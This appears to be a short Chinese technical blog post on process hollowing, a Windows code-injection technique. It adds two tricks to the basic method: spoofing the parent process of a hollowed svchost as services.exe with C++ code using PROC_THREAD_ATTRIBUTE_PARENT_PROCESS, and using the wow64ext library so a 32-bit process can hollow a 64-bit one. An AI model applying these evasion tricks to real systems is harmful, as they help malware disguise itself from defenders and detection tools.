ProcessHollowing
(进程镂空) 也是出来很久了, 网上已经一大堆相关介绍的文章.
我就不再详细介绍, 详细介绍请看"傀儡进程的实现与检测", 这里就额外补充个小技巧.
问题一
假设我创建了一个 svchost
进程作为傀儡进程, 有一个问题就是: svchost
父进程不是 services.exe
, 那么就能肉眼可见的发现这是个有问题的进程.
那么, 要怎么做才能做的更像 "svchost"
呢? 给 svchost
指定父进程为 services.exe
就行了.
下面是关键代码, 这个技巧还是我之前逆向 CreateProcessInternalW 的时候发现的.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| if (!InitializeProcThreadAttributeList( AttributeList, 2, 0, &AttributeListSize)) { DosError = GetLastError(); break; }
if (!UpdateProcThreadAttribute( AttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &ParentHandle, sizeof(ParentHandle), nullptr, nullptr)) { DosError = GetLastError(); break; }
auto Startup = STARTUPINFOEXW(); Startup.StartupInfo.cb = sizeof(Startup); Startup.lpAttributeList = AttributeList;
DosError = CreateProcessHollowed( NewToken, nullptr, LR"(C:\Windows\System32\notepad.exe)", RealApp, Args, nullptr, nullptr, FALSE, EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, nullptr, Sysdir, (LPSTARTUPINFOW)& Startup, &ProcessInfo); if (NOERROR != DosError) { break; }
|
问题二
怎么用 32 位进程创建 64 位的镂空进程?
可以借助 wow64ext 这个库, 它可以让 Wow64
进程调用 64
位 Ntdll.dll
的系统调用.
把 ProcessHollowing
里面对目标进程操作相关的 API
都换成 wow64ext
扩展的 API
就可以了.
例子代码
MiroKaku/ProcessHollowing